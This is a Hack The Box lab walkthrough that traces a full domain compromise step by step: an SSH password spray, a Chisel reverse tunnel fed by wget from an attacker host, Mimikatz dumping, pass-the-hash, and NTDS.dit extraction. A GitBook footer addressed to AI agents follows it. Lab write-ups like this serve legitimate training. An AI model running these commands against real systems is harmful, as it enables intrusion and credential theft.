> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/password-attacks.md). # Password Attacks ## Skill Assessment Walkthrough > **HTB Module:** Password Attacks **Difficulty:** Hard **Goal:** Gain NTLM hash of the Domain Controller (DC01) or Administrator
***
### πŸ“Œ Scenario Betty Jayde works at **Nexura LLC**. She reuses the password `Texas123!@#` across multiple sites β€” we suspect she uses it at work too. Our job: get into Nexura's network and pop the domain controller. ### 🎯 Targets ``` DMZ01 β†’ 10.129.x.x (external) / 172.16.119.13 (internal) JUMP01 β†’ 172.16.119.7 FILE01 β†’ 172.16.119.10 DC01 β†’ 172.16.119.11 ``` ### πŸ—ΊοΈ Attack Chain ``` DMZ01 (SSH) β†’ bash_history creds β†’ Chisel pivot β†’ JUMP01 (RDP) β†’ .psafe3 file β†’ crack it β†’ FILE01 (RDP) β†’ Mimikatz β†’ NTLM hash β†’ DC01 (PTH) β†’ NTDS.dit dump β†’ GG 🏴 ``` *** *** ## Step 1 β€” Nmap Scan First things first β€” scan the box. ```bash nmap -sC -sV -p- --min-rate 5000 10.129.155.203 ``` SSH (port 22) is the only thing open. That's our way in. > πŸ“Έ **Image 1** β€” Nmap scan showing port 22/tcp (SSH) open on DMZ01 > > ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FTjkSAhbvPseoeFDeAESh%2Fimg-000.png?alt=media\&token=a1a0b94a-7535-4a76-8ad1-761df05b004c) *** ## Step 2 β€” Generating Usernames We know the target is **Betty Jayde**. Generate possible usernames with `username-anarchy`: ```bash username-anarchy Betty Jayde > users.txt ``` This gives us combos like `jbetty`, `betty.jayde`, `bjayde`, `b.jayde`, etc. > πŸ“Έ **Image 2** β€” username-anarchy output generating all possible username formats
*** ## Step 3 β€” Brute-Forcing SSH with Hydra We have the username list and the known password `Texas123!@#`. Spray it against SSH: ```bash hydra -L user.txt -p 'Texas123!@#' ssh://10.129.155.203 ``` **Hit!** 🎯 ``` [22][ssh] host: 10.129.155.203 login: jbetty password: Texas123!@# ``` > πŸ“Έ **Image 3** β€” Hydra finding valid SSH credentials `jbetty:Texas123!@#` ***
## Step 4 β€” SSH In ```bash ssh jbetty@10.129.155.203 # password: Texas123!@# ``` We're in. Let's snoop around. *** ## Step 5 β€” Creds in Bash History Always. Check. The. History. ```bash cat ~/.bash_history ``` Jackpot πŸ’° β€” bash history shows an `sshpass` command with creds for another user: ``` sshpass -p "dealer-screwed-gym1" ssh hwilliam@file01 ``` New creds: ``` hwilliam : dealer-screwed-gym1 ``` > πŸ“Έ **Image 4** β€” bash\_history revealing hwilliam's credentials via sshpass command ***
## Step 6 β€” Pivoting with Chisel We're on DMZ01 but the juicy targets are on `172.16.119.0/24`. Time to tunnel in. #### Add internal hosts to `/etc/hosts` (attacker machine) ```bash sudo bash -c 'echo -e "172.16.119.7 JUMP01\n172.16.119.10 FILE01\n172.16.119.11 DC01" >> /etc/hosts' ``` #### Upload chisel to target **Attacker:** ```bash python3 -m http.server 9090 ``` **Target (DMZ01):** ```bash wget http://:9090/chisel chmod +x chisel ``` #### Start the tunnel Make sure `/etc/proxychains4.conf` has: ``` socks5 127.0.0.1 1081 ``` **Attacker β€” start chisel server:** ```bash sudo chisel server --reverse -p 9090 ``` **Target β€” connect back:** ```bash ./chisel client :9090 R:1081:socks ``` Now all `proxychains` traffic routes through DMZ01 into the internal network. πŸ”₯ *** ## Step 7 β€” Internal Port Scan See what's open on FILE01 through the tunnel: ```bash proxychains nmap -p3389,5985,445,139 172.16.119.10 ``` Ports 139, 445, 3389, 5985 all show as **filtered** β€” we can work with RDP and WinRM. > πŸ“Έ **Image 5** β€” Proxychains nmap scan on FILE01 (172.16.119.10) showing filtered ports
*** ## Step 8 β€” RDP into JUMP01 Evil-winrm didn't connect, so we go with RDP using `hwilliam` creds. We also mount a shared drive for easy file transfer: ```bash proxychains xfreerdp /v:172.16.119.7 /u:hwilliam /p:'dealer-screwed-gym1' /drive:linux,/home/hacker/htb/sh ``` We land on JUMP01's desktop. Notice **Password Safe 3** is installed β€” interesting. πŸ‘€ > πŸ“Έ **Image 6** β€” RDP session on JUMP01 (172.16.119.7) showing desktop with Password Safe 3 installed
*** ## Step 9 β€” Cracking the Password Safe (.psafe3) We find `Employee-Passwords_OLD.psafe3` on JUMP01. Copy it to the shared drive, then crack it on our machine. Extract the hash and crack with john: ```bash pwsafe2john Employee-Passwords_OLD.psafe3 pwsafe2john Employee-Passwords_OLD.psafe3 > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt ``` Cracked! Master password: ``` michaeljackson ``` > πŸ“Έ **Image 7** β€” pwsafe2john extracting hash and john cracking it β†’ password is `michaeljackson`
*** ## Step 10 β€” Opening the Password Safe Open the `.psafe3` file with Password Safe using the cracked master password `michaeljackson`. Inside we find **Domain Users** with stored credentials: ``` David Brittni [bdavid] Tom Sandy [stom] William Hallam [hwilliam] ``` Right-click each entry β†’ copy password to get the creds. > πŸ“Έ **Image 8** β€” Password Safe GUI showing stored domain users (bdavid, stom, hwilliam)
*** ## Step 11 β€” RDP into FILE01 as bdavid ```bash proxychains xfreerdp /v:172.16.119.10 /u:bdavid /p:'caramel-cigars-reply1' /drive:linux,/home/hacker/htb/sh ``` Check our privileges: ```cmd whoami /groups ``` **bdavid is in BUILTIN\Administrators** (deny only) and **NEXURA\IT** group. > πŸ“Έ **Image 9** β€” `whoami /groups` on FILE01 showing bdavid's group memberships including Administrators
*** ## Step 12 β€” Mimikatz on JUMP01 We upload `mimikatz.exe` via the shared drive (`linux on kali`) and run it as administrator on JUMP01. ``` mimikatz # privilege::debug Privilege '20' OK ``` > πŸ“Έ **Image 10** β€” Mimikatz uploaded via shared drive and running with debug privilege on JUMP01
*** ## Step 13 β€” Dumping Creds with Mimikatz ``` mimikatz # sekurlsa::logonpasswords ``` We get **stom's** NTLM hash and cleartext Kerberos password: ``` Username : stom Domain : NEXURA NTLM : 21ea958524cfd9a7791737f8d2f764fa Kerberos : calves-warp-learning1 ``` > πŸ“Έ **Image 11** β€” Mimikatz sekurlsa::logonpasswords dumping stom's NTLM hash and Kerberos password
*** ## Step 14 β€” Pass-the-Hash to DC01 Use `evil-winrm` with stom's hash to connect to DC01: ```bash proxychains evil-winrm -i 172.16.119.11 -u stom -H 21ea958524cfd9a7791737f8d2f764fa ``` We're on the Domain Controller! 🏴 `whoami` β†’ `nexura\stom`, `hostname` β†’ `DC01` > πŸ“Έ **Image 12** β€” Evil-WinRM shell on DC01 (172.16.119.11) as nexura\stom
*** ## Step 15 β€” stom is a Domain Admin ```cmd whoami /groups ``` Confirmed β€” **NEXURA\Domain Admins** is in the group list. We own the domain. > πŸ“Έ **Image 13** β€” `whoami /groups` on DC01 confirming stom is a member of NEXURA\Domain Admins
*** ## Step 16 β€” GUI Access to DC01 (Pass-the-Hash RDP) First, disable RestrictedAdmin on DC01 via the evil-winrm session: ```powershell reg add "HKLM\System\CurrentControlSet\Control\Lsa" /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f ``` Now RDP in using the NTLM hash: ```bash proxychains xfreerdp /v:172.16.119.11 /u:stom /pth:'21ea958524cfd9a7791737f8d2f764fa' ``` We have full GUI on DC01 as `nexura\stom`. > πŸ“Έ **Image 14** β€” RDP session on DC01 (172.16.119.11) with admin cmd prompt showing nexura\stom
*** ## Step 17 β€” Dumping the Domain (NTDS.dit) On DC01, open **cmd as Administrator** and extract the goods: ```cmd reg save hklm\system C:\system.hive vssadmin CREATE SHADOW /For=C: mkdir C:\NTDS copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\NTDS\NTDS.dit ``` Transfer `system.hive` and `NTDS.dit` to the attacker machine via the shared drive. > πŸ“Έ **Image 15** β€” Shared drive on DC01 showing extracted files (NTDS.dit, system.hive, sam.hive)
#### Dump All Domain Hashes with secretsdump Back on our machine: ```bash secretsdump.py -ntds NTDS.dit -system system.hive LOCAL ``` This dumps **every single hash in the domain** β€” Administrator, Guest, DC01$, krbtgt, bdavid, stom, hwilliam, FILE01$, JUMP01$... everything. > πŸ“Έ **Image 16** β€” secretsdump.py output showing all domain account NTLM hashes from NTDS.dit
*** ## πŸ† Pwned! Full domain compromise achieved. We went from a reused password on an external-facing SSH service all the way to dumping every credential in the Nexura domain. #### Tools Used | Tool | Purpose | | ------------------ | -------------------------------------- | | `nmap` | Port scanning | | `username-anarchy` | Username generation | | `hydra` | SSH brute-force | | `chisel` | SOCKS proxy / pivoting | | `proxychains` | Route traffic through tunnel | | `xfreerdp` | RDP access + shared drive | | `pwsafe2john` | Extract hash from .psafe3 | | `john` | Cracking password safe master password | | `pwsafe` | Opening .psafe3 database | | `mimikatz` | Credential dumping (NTLM hashes) | | `evil-winrm` | WinRM shell with pass-the-hash | | `secretsdump.py` | NTDS.dit + system.hive β†’ domain hashes | *** > **GG 🏴** β€” From password reuse to domain admin. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/password-attacks.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.